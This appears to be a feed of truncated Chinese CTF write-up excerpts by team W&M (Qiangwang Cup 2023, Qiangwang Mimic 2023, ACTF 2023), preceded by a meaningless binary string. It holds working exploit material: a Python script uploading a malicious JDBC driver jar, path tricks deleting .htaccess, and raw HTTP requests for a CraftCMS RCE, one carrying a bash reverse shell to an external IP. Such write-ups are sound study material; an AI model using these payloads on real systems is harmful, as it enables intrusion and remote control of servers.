0101000001001011000000110000010000001010000000000000000000000000000000000000000000010011011111010011011101011000000…

强网杯 2023 By W&M
type: item
date: 2023-12-18T09:26:00+00:00
description: WEB easyphp happygame thinkshop thinkshopping PWN chatting minipy warmup23 simpleinterpreter Reverse Ezre UNNAME MISC Happy Chess 谍影重重3.0 Pyjail ! It's myFILTER !!! Pyjail ! It's myRevenge 谍影重重2.0 easyfuzz Wabby Wabbo Radio 强网先锋 helloSpring ezre 找到PNG了吗 石头剪刀布 SpeedUp ez_fmt Babyre WEB easyphp 1.题目给出了phpinfo，给出了/var/www/html/b3debcdfb73572a549ac64da1c830d72这个路径可以下载到xcache的mmap缓存文件。 /challenge.php需要提交一个key。 访问challenge.php后下载mmap文件，strings可以得到字符串。 c6d4c9861179fe161d0233e3570998dc _GET strlen wrong answer str_split implode cat /flag system 2.下载到的缓存文件，里面有很多链表地址和函数（字节码回调函数，没有符号，readelf看不到，但是p/i 0xxxx看一下都是endbr64指令）地址，不能直接加载。 修改源码。编辑xcache\mod_cacher\xc_cacher.c 加上固定地址加载代码，使得链表可以正常加载。 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> void mymmap(){ int file1 = open("/tmp/clean_b3", O_RDONLY); size_t ro_addr = 0x7fb5ed09c000; size_t rw_addr = 0x7fb5ed09c000 + 0x4000000; size_t ro_size=0x4000000; int mmap1_result = mmap(ro_addr, ro_size, PROT_READ, MAP_PRIVATE| MAP_FIXED, file1, 0); printf("mmap1_result: %d\n", mmap1_result); int mmap2_result = mmap(rw_addr, ro_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, file1, 0); printf("mmap2_result: %d\n", mmap2_result); } int is_replaced_1=0; 在这个函数里面加 xc_php_find_unlocked： if(is_replaced_1 == 0){ is_replaced_1 = 1; TRACE("1: xc_php_find_unlocked force return fake value %s",""); TRACE("1: size:%d",php->size); mymmap(); char* ptr = 0x7fb5f10bc1e8; return ptr; }else{ TRACE("1: xc_php_find_unlocked have already faked, do not fake again %s",""); } 通过函数指针，因为我们搭建了完全一样的libphp，所以可以推算libphp基址。替换函数指针，让字节码可以正常加载。 （找了一晚上指针。。。我的建议是，关闭靶机，重开，只访问challenge.php不访问info.php，这样得到的mmap是最纯净的） 本地关闭aslr方便调试。 #找mmap基址 from pwn import * filename = "clean_b3" with open(filename,"rb") as f: f.seek(0x20230) ptr = u64(f.read(8)) # sanity check f.seek(0x20290) ptr2 = u64(f.read(8)) assert ptr2 > 0x7f0000000000 and ptr2 < 0x7fffffffffff delta = 0x20290 root = ptr - delta print("ptr: " + hex(ptr)) print("delta: " + hex(delt…

强网拟态2023 By W&M
type: item
date: 2023-11-14T13:31:00+00:00
description: Web noumisotuitennnoka easyjava Reverse fisher faalua Misc Welcome 国际象棋与二维码 Crypto 一眼看出 Mimic DNS缓存投毒 拟态控制器 logInject 用户登记系统 find me and crack me 用户鉴权 Tbox Can V2XSec 新型车联网安全网络协议破解（阶段一） Web noumisotuitennnoka action=create&subdir=/f action=zip&dev=/tmp//&subdir=/f action=unzip&dev=/tmp//&subdir=/f action=clean&dev=/tmp//&subdir=/.htaccess 17年的原题/tmp/ remove_path会去掉一个字符 /tmp//会去掉两个字符 var/www/html//tmp/f/.htaccess去掉/tmp+两个字符之后就变成 var/www/html/.htaccess 然后利用clean直接删.htaccess。直接访问backdoor.php easyjava 首先就不让/app/开头。直接/%61%70%70/ url编码绕过 然后就打后端服务。spring cloud是应用名访问后端。 服务名是app。context-path是/app 所以请求路径就是 /app/原来的路由 明显的path+shiro的后缀 /upload/1.css就能绕过 FILE_NAME_REGEX_PATTERN正则。匹配的是是否存在.css 1.css.jar照样可以过 addDriver路由就是自定义classload添加一个jar包 validate路由是加载类然后jdbc连接 思路就是upload写jar到custom-drivers目录。然后addDeriver加载。然后validate newinstance触发 1、upload url解码path 然后写到任意目录。这里主要是配合类加载的逻辑。path为1.js。就要创建一个1.js的目录。然后在下面找jar。写文件的jar path为 File file = new File("static/custom-drivers/" + deDriverId); File[] array = file.listFiles(); 2、自定义driver要实现java.sql.Driver Exp: BP不对js发包。这里改成jss css1。抓包手动改 import requests target="http://web-88af6ec2b7.challenge.xctf.org.cn/" url = target+'app/staticResource/upload/%2563%2575%2573%2574%256f%256d%252d%2564%2572%2569%2576%2565%2572%2573%252f%2531%252e%256a%2573%252f1.css1' file_path = 'mysql.css.jar' proxies = { "http": "127.0.0.1:8081", "https": "127.0.0.1:8081", } with open(file_path, 'rb') as f: files = {'file': f} r = requests.post(url,proxies=proxies, files=files) print(r.text) print(requests.get(url=target+"app/addDriver/1.jss",proxies=proxies).text) requests.post(url=target+"app/validate/1.jss",proxies=proxies,json={"id":"test","configuration":"{\"customDriver\":\"com.mysql.jdbc.Driver\",\"username\":\"test\",\"password\":\"password\",\"dataSourceType\":\"jdbc\",\"type\":\"mysql\",\"host\":\"127.0.0.1\",\"port\":\"3306\",\"dataBase\":\"test\"}","type":"mysql","username":"test","password":"test"}) mysql.css.jar package com.mysql.jdbc; import java.io.IOExce…

ACTF 2023 By W&M
type: item
date: 2023-10-31T08:19:00+00:00
description: WEB craftcms easy latex (XSS) hooks Storys MyGO's Live!!!!! Ave Mujica's Masquerade PWN qemu playground - 1 Reverse Obfuse Binary Ninja去混淆脚本 去混淆后bndb 函数0-shell指令选择 函数1-输入 函数2-check指令 校验输入长度 第一段Flag校验 [W4@t] 第二段Flag校验 [0N41v3$#4ll] 1) 魔改AES解密 2) RC5爆破得到flag 第三处Flag校验 [120911] qemu playground - 1 Flash task0 task1 task2 task3 BlockChain AMOP 1 MISC Ctfer simulator SLM Crypto EasyRSA MDH WEB craftcms 标题一看就知道是最近P神知识星球还有外面出来的那个Imagick RCE http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8 先尝试包含日志文件RCE 匪夷所思的打不通 来了 POST / HTTP/1.1 Host: 61.147.171.105:63197 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: <?php phpinfo();?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}} Pearcmd RCE POST /?1=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22 HTTP/1.1 Host: 61.147.171.105:51172 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: CRAFT_CSRF_TOKEN=be184715764f67671b69bda9ad64ba04a73678870c9400d4a8df0d1dabf22350a%3A2%3A%7Bi%3A0%3Bs%…